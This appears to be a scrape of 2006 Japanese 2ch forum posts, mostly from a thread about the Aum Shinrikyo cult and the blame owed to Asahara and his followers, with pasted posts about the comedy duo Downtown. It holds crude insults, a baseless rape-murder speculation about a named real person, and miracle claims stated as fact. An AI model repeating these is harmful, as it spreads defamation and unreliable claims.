松本信者みれば信者がどういうものかよくわかるよ
松本が言った言葉はすべて世の中の真理だと信じてやまない
432 ：名無しさん ：2006/10/14(土) 16:58:33
>>429
松本は好きだけど信者にはなりきれないんだよなぁ
でも対象は何であれ信者になる人って陶酔できないとなれないんだよ
松本がいないならいないでそんな人は何かを信仰する
435 ：名無しさん ：2006/10/14(土) 17:07:37
松本信者の悪は松本本人のせいだろ
比喩的にではあるが、自分のセンスに近い板尾や千原の笑いを「正義」
とかいっちゃうし
なんかそれ以外のものを認めないって誤解を与えてしまってると思う。
441 ：名無しさん ：2006/10/14(土) 17:12:33
松本は笑いにレベルとかそういう概念持ち込んじゃったからな
最初はただ自分が滑ることの言い訳で「客がレベル低い」って使ってたのが、いつの間にか「DTで笑えばレベル高い」に変わってしまった
444 ：名無しさん ：2006/10/14(土) 17:15:57
ネタが高齢者に受けなくて凹んだけど
全く同じネタが若者に受けた
それがダウンタウンを天狗にしたのかねぇ
447 ：名無しさん ：2006/10/14(土) 17:17:28
松本の発言てよく見りゃすべてただの言い訳だよ
滑ることに対して、視聴率とれないことに対しての言い訳
それをまるで真実のように語ってるだけ
それがなきゃいい芸人なんだけどね～
845:名無しさん＠３周年
06/10/15 23:39:54 gAgcKF5F
なるほど。
ヘッドギアを今でも喜んで付けてるサマナも多いけど、
電流ピリピリを解脱悟りと勘違いしてるんだろうね。
解脱悟りってのはそんな科学的なものじゃないと思うけど・・・。
846:名無しさん＠３周年
06/10/15 23:42:46 d1zUzvZi
＞情祐さんが何言ったのかしりませんが
＞自分の人生の主人公は自分でつ
＞他人にそそのかされようが、騙されようが、洗脳されようが
＞その結果、我が身に降りかかってくる火の粉を受け止めるのは自分自身でつ
＞仮に他人に同情されようが賠償金貰おうが、受けた痛みは自分以外の者に背負ってもらえません
＞元なので、世間の目は冷たくそういうこともありませんでしたがね、、
＞今までにオウムに関った者の代償として十二分に人生の辛酸舐めていると思いまつ
＞自己責任と責める者の言い分、私はそれを承知した上であえてオウムの批判をしていまつ
＞でもね、あなたには言われたくない
＞ましてや、大幹部の上祐さんに言われる筋合いはない
＞末端信者の責任の∞責任があるんでないでつか？
>>826
上祐氏が言ったからと前置きしたのは誤解を招いたかもしれませんが
全てを麻原のせいとか自分の外側に全ての問題の原因を求めるような意見
>>810のように感じたので自分の問題や責任も見つめてはどうかと思ったのです。
それら自分の責任や問題を全て承知の上で批判なら何も言う事はございません。
847:名無しさん＠３周年
06/10/15 23:47:35 gAgcKF5F
いえいえ、詐欺師の麻原が悪いのは当たり前
848:名無しさん＠３周年
06/10/15 23:48:53 T8leDDcV
3 ：名無しでいいとも！：2006/10/14(土) 13:17:49.35 ID:LSOCqFqr
ダウンタウン絶頂期っていつよ？
5 ：名無しでいいとも！：2006/10/14(土) 13:26:28.10 ID:2BEOnY5W
>>3
９４～９５年
たけしがバイク事故やっちまったあたりからだな
テレビ局や業界が、ポストたけしとして誰を担ぐか考えてた時期と重なる･･･
まあ、要するに、そういうことだ
「たけしを抜いて天下を取った」っていうのは、
彼らが勝ち取ったというよりも
落ちてたものを拾った、あるいは、貰い物をせしめた、ってだけのことだ
178 名前：名無しさん ：2006/10/15(日) 22:50:08
/;;;:.!!!hage!!
i;;;｣' __ __i
|;;| '･`, '･`{
(6|}. ･･ }
ヽ 'ー-ｿ
ﾉ､ヽ＿/
/, ヽ
ト,.| ﾄ|
「殿を抜いて天下を取ったというよりは
落ちてたものを拾った、あるいは、貰い物をせしめた、ってだけのことさ（苦笑）」
849:名無しさん＠３周年
06/10/15 23:51:40 d1zUzvZi
>>847 ＞いえいえ、詐欺師の麻原が悪いのは当たり前
この事を全く否定しません。之だけでは片手落ちではないかといいたいのです。
850:名無しさん＠３周年
06/10/15 23:54:53 oFh0Fq6+
麻原が悪い。
信じた奴はの頭が悪い。
851:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 23:59:26 oyC3xr3v
全ての元の方に責任を追及するのは今は無理でしょう。
たしかに我々にも責任の一端は無いとは言いませんが、まずは麻原や幹部の追求が先です。
元や脱会者、信徒などの責任はその人がどう考え、そう表現していくかではないでしょうか？
俺のように自分の知りえたヨーガを人に教えて、オウムの為に歪んだヨガ観に微力ながらも
なんとかしようと思うのもいいし。賠償金を払っていくのもいいし（でも教団が絶対的に先です）
852:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:00:43 oyC3xr3v
そう表現していくかではないでしょうか？ ×
どう表現していくかではないでしょうか？ ○
853:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:01:58 oyC3xr3v
>信じた奴はの頭が悪い。
分ってるからそう責めるなｗ
854:名無しさん＠３周年
06/10/16 00:06:36 gAgcKF5F
今も麻原を信じて解散しようとしないバカ共はどーする？
855:名無しさん＠３周年
06/10/16 00:09:25 oFh0Fq6+
頭が悪いと言っても、勉強する頭はいい人はいっぱいいた(私は除くw)
しかし、危険を察知する能力や咄嗟の判断力は低かったんでは？
856:名無しさん＠３周年
06/10/16 00:10:30 0uIxtT7n
>>854 その為にこのスレがあるんじゃないか?
857:名無しさん＠３周年
06/10/16 00:15:24 pyNoIS81
オウムにもホモっていたんだw
858:名無しさん＠３周年
06/10/16 00:15:40 rEb0bYMn
>>1
乙
＞スレ番１の1
乙
＞ゴータマ王子
乙
859:名無しさん＠３周年
06/10/16 00:17:53 kqsU9jOJ
>>851
＞全ての元の方に責任を追及するのは今は無理でしょう。
＞たしかに我々にも責任の一端は無いとは言いませんが、まずは麻原や幹部の追求が先です。
＞元や脱会者、信徒などの責任はその人がどう考え、そう表現していくかではないでしょうか？
＞俺のように自分の知りえたヨーガを人に教えて、オウムの為に歪んだヨガ観に微力ながらも
＞なんとかしようと思うのもいいし。賠償金を払っていくのもいいし（でも教団が絶対的に先です）
おっしゃる事は同意できます。教団を抜けてからの大変さも分るつもりです。個々の段階に応じて行なえばいいと思います。
一方的に麻原に恨みを向け、そこだけに全ての問題があるという考えがあるとしたら一石を投じたかったまでです。
860:名無しさん＠３周年
06/10/16 00:23:12 +qz2Qcku
>>857
定期的にそのこと持ち出すのな。この腐れ粗チンの現役ナルコ脳症麻原盲信変態症候群患者が。
861:名無しさん＠３周年
06/10/16 00:27:47 kqsU9jOJ
>>860
>>857は程度の低い事だと思うけど。だから857が現役の信徒やサマナと決めつけ
るのは如何なものでしょうか。誰でも書き込みできる掲示板ですので個人的な
恨みつらみの可能性も否定出来ません。
862:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:30:53 ZRsbW9DA
>>861
え？
>>857は俺に私怨があるってこと？
863:名無しさん＠３周年
06/10/16 00:34:57 kqsU9jOJ
>>862 そうであるとも無いとも言い切れないと思いますが、860さんのように
彼が現役信者であり、腐れ粗チンの現役ナルコ脳症麻原盲信変態症候群患者ではなく
立派な物をお持ちで、ナルコ脳症麻原盲信変態症候群患者と一方的に断定してしまう事
に危険を感じるのです。
864:名無しさん＠３周年
06/10/16 00:38:50 rEb0bYMn
昼夜逆転フルタイム２ｃｈ生活 楽しいな！
昼夜逆転フルタイム２ｃｈ生活 楽しいな！
昼夜逆転フルタイム２ｃｈ生活 楽しいな！
修行するぞ！ 修行するぞ！ 修行するぞ！
865:名無しさん＠３周年
06/10/16 00:39:33 kqsU9jOJ
愉快犯ということも有りかと。
866:名無しさん＠３周年
06/10/16 00:40:27 GdPNJxKx
女って、やっぱり立派なモノが好きなのかな？
シヴァの喜びさんは、どう思いますか？
867:名無しさん＠３周年
06/10/16 00:40:41 0uIxtT7n
>>857
知能が低くまともに論戦が出来ない、古参信徒で芝氏をよく知ってる、麻原に対する忠誠が唯一の取り柄、
何故か滝本弁護士をよく知ってるようだ。一応タイトルがあるようだ。
これらの特徴を総合すると…芝氏には見当付くんじゃないんですか?
868:名無しさん＠３周年
06/10/16 00:42:05 V/yALvWI
麻原教妄信者の大半は麻原･オウム以外の修行･グルを知らない
何故オウムが最高と断定するのだろうか？
北朝鮮の乞食がカップラーメン食って、最高の食物と言うのと何処が違いますか
869:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:42:11 ZRsbW9DA
まあいいやｗ
麻原バッサリ斬ってるからまだ信じてる人には怨まれてるんだろうしｗ
870:名無しさん＠３周年
06/10/16 00:45:38 rEb0bYMn
>>868
日本国内で行われている点です。
871:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:47:14 ZRsbW9DA
>>866
千差万別なんじゃないかな？
女の子にいろんな話聞く（下心無いから話してくれるｗ）けど、大きいの好きな子もいれば
嫌いな子もいたし、デブ好きとか痩せ好きとか、優しい人が好きな子もいれば、冷たくないと
好きになれない子もいたし、セックスが上手い男ってのはだいたい共通してたようなｗ
872:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:49:32 ZRsbW9DA
867 ：名無しさん＠３周年：2006/10/16(月) 00:40:41 ID:0uIxtT7n
>>867
>知能が低くまともに論戦が出来ない、古参信徒で芝氏をよく知ってる、麻原に対する忠誠が唯一の取り柄、
何故か滝本弁護士をよく知ってるようだ。一応タイトルがあるようだ。
これらの特徴を総合すると…芝氏には見当付くんじゃないんですか?
・・・・・・・・・・・・
・・・・アッサ
おっとｗ
さあ？想像がつきませんｗ
873:名無しさん＠３周年
06/10/16 00:49:45 ovtol+wQ
頭のいい人は、役人になって天下りして、人生を安泰に
暮らしています。
農民は、貧乏ながらもその日を楽しく暮らしています。
役人はやってきて、農民に働けといじめ、やりたくもない
祭では神輿を担がされます。
さらには少ないお金で買った自転車さえ取り上げられ
兄弟の不和をさそい、いじめに心血をそそぎます。
自転車返せやボケ
874:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 00:51:06 ZRsbW9DA
>>870
ワロタ
875:名無しさん＠３周年
06/10/16 00:51:28 0uIxtT7n
>>872 ハゲドウ
876:名無しさん＠３周年
06/10/16 00:52:00 V/yALvWI
>>870
いいや、自由なニッポンだからこそ大問題であり怖いんですよ
選択の自由がなく洗脳されてるのと
選択の自由がある社会にいながら身を滅ぼす宗教に入信する怖さ異常さ・・
877:名無しさん＠３周年
06/10/16 00:53:37 GdPNJxKx
>>871
すごいですね！
でも、セックスが上手いのがいいって、、
女って、エロいですね(>_<)
878:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 01:00:19 ZRsbW9DA
>>877
男もそうじゃんｗ
879:検証したい
06/10/16 01:04:51 V/yALvWI
麻原はテクニシャンなのだろか？
880:名無しさん＠３周年
06/10/16 01:05:25 GdPNJxKx
そうですね。
私は、あんまりエロくないですけど。
エロネタは好きですがｗ
881:名無しさん＠３周年
06/10/16 01:06:09 +uw6H5AS
脳内麻薬だけで宗教の伝説などをすべて説明するのは無理がありすぎる
ことは百も承知だが、ようは現代の科学で証明されてる科学的な現象から
言っても宗教の伝説は全てが嘘だとは言えないということだ。
根も葉もない迷信の作り話ではなく、昔の人から見たら不思議だった科学現象
に尾ひれが付いて伝説化した可能性もある。
全てが嘘ではないということの論理的、科学的証明だ。
882:名無しさん＠３周年
06/10/16 01:09:38 +uw6H5AS
シャンカラという聖者が霊になって他人に入って恋愛をしたという
話は、脳内麻薬で本人がそうした幻覚を見ただけだったという可能性もある。
チベットのビルパという人が太陽を止めたのは、もしかすると催眠術で信者に
そういう幻覚を見せただけかも知れない。
それは科学的にありえる話で、そうだった場合は全てが迷信の作り話だった
とは言えない。
883:名無しさん＠３周年
06/10/16 01:09:49 V/yALvWI
ところで、飴ちゃんことキャンデーどないしたん？ポアですか
884:名無しさん＠３周年
06/10/16 01:14:47 +uw6H5AS
チベットの聖人ミラレパは元は悪人だが、師匠の霊か何かを見て
山奥で悟り更正したとかされる。
仮にこの師匠の霊がただの脳内麻薬や催眠術による幻覚であったと
しても、そこで本人が反省して悪から足を洗ったのであれば、嘘も
方便というか、嘘から出たまことの面もあるだろう。
シュバイツアー博士はただの砂糖を催眠術で高価な薬だと思わせて
原住民に飲ませて病気を治したとか言われるが、なんであれそれで
治った人はありがたかったはずだ。
885:名無しさん＠３周年
06/10/16 01:19:17 V/yALvWI
しっかしなぁー
松本智津夫という男は罪なやつですなー
若いときは誰でも異性(女･男)にモテる
そうでないにしても、人の生涯の中で一番輝いてる
例え不細工でも、人生ん中で一番輝いてる時期や
その時期の男女を罠にハメタ智津夫の罪は深い
886:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 01:20:06 ZRsbW9DA
>>882
>シャンカラという聖者が霊になって他人に入って恋愛をしたという
話は、脳内麻薬で本人がそうした幻覚を見ただけだったという可能性もある。
ところがどっこい。その他人とは死体となったばかりの男で、葬儀で運ばれていた最中。
で、それを見たシャンカラがその遺体を使って恋愛を経験することを思いついた。
（本人はおじいちゃんだったから若い人間の恋愛を体験したかった）
シャンカラがサマディに入ってしばらくするとその男が蘇ってしまった。
で、元の恋人と恋愛を体験。しばらくしてシャンカラが長きサマディから醒めると
恋愛に関する論文を書いたということです。
>チベットのビルパという人が太陽を止めたのは、もしかすると催眠術で信者に
そういう幻覚を見せただけかも知れない。
ところがどっこい。
その太陽が本当に３日間沈まなかったことが当時のチベットの王宮の記録に残っています。
「なぜか太陽が３日間沈まないということがあり、当時の天文学者などを呼んで・・」
と記されているそうです。
>それは科学的にありえる話で、そうだった場合は全てが迷信の作り話だったとは言えない。
科学を超えています。
887:名無しさん＠３周年
06/10/16 01:20:09 +uw6H5AS
上祐もあのむっつりスケベのような表情からして、オウムに入って
なかったら女子校生を監禁レイプ殺人した可能性もあるだろう。
まあ女子高生をレイプ殺人しなかったものの、テロ殺人で人を殺し、
刑務所に行くはめになったのだが、そこで本人は反省し、同時に
自分が教祖になりたいという欲望も働いて、暴力や犯罪を否定した
良い教えなどを結果として世に広めたら、なんであれ上祐に君は聖人
なんだと思わせた麻原はそれが大嘘であったとしても、結果として
世に良い教えを広めるきっかけを作った偉大なる悪人だったという話
にもなるだろう。
888:名無しさん＠３周年
06/10/16 01:20:27 RIRA0rwD
芝興産って何？
889:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 01:23:10 ZRsbW9DA
>>886
ちなみに
そのシャンカラが借りた男の遺体は、蘇ったものの、シャンカラがサマディから醒めると
元の遺体に戻ったそうです。
890:名無しさん＠３周年
06/10/16 01:25:06 +uw6H5AS
>>886
ヒンズー教の伝説にはそのシャンカラやビルパをはるかに超え、
ウルトラマンの世界みたいな話すらある。
例えばビシュヌという神が海の水を全て飲んだとか、大地を手で
割って大陸を作ったなどだ。
ここまで行くとそのサマディ現象ですら説明できない訳で、これが
本当に真実であるなら別だが、そうじゃないなら幻覚でそうした光景
を見たとか、面白おかしい脚色じゃないか？
891:名無しさん＠３周年
06/10/16 01:26:38 V/yALvWI
麻原は言った
シャンカラチャリァの教えはまだ研究していないと
892:シヴァの喜び ◆XuryVJUQ9Y
06/10/16 01:31:08 ZRsbW9DA
>>890
神々は宇宙の何かの機能や出来事などの象徴だったりします。
それとシャンカラやビルパを同列に扱わぬように。
それを後々の智慧あるものに、あるは智慧に目覚めたものが分るように暗喩として残したものが
神話などだったりすると思います。
実在の人物の話と神話を同じレベルで考えないことです。
893:名無しさん＠３周年
06/10/16 01:31:12 +uw6H5AS
>>889
あなたがそのサマディ現象ができるなら、さらにそれに磨きをかけ、
日本テレビで「ミスターマリックもビックリ！これが脅威のスーパー
サマディだ」という番組を放映してくれ！
間違いなくあなたのギャラは億単位でコマーシャル依頼も入るし、
そのサマディ現象を広く世にしらしめ宗教や科学の発展にも繋がるだろう。
少年マガジンあたりで、あなたをモデルにした「空手馬鹿一代」みたいに
「サマディ馬鹿一代」という漫画が連載されて、ヒットして収入もさらに倍増
するかも知れない。
ただサリンは撒かんでくれ。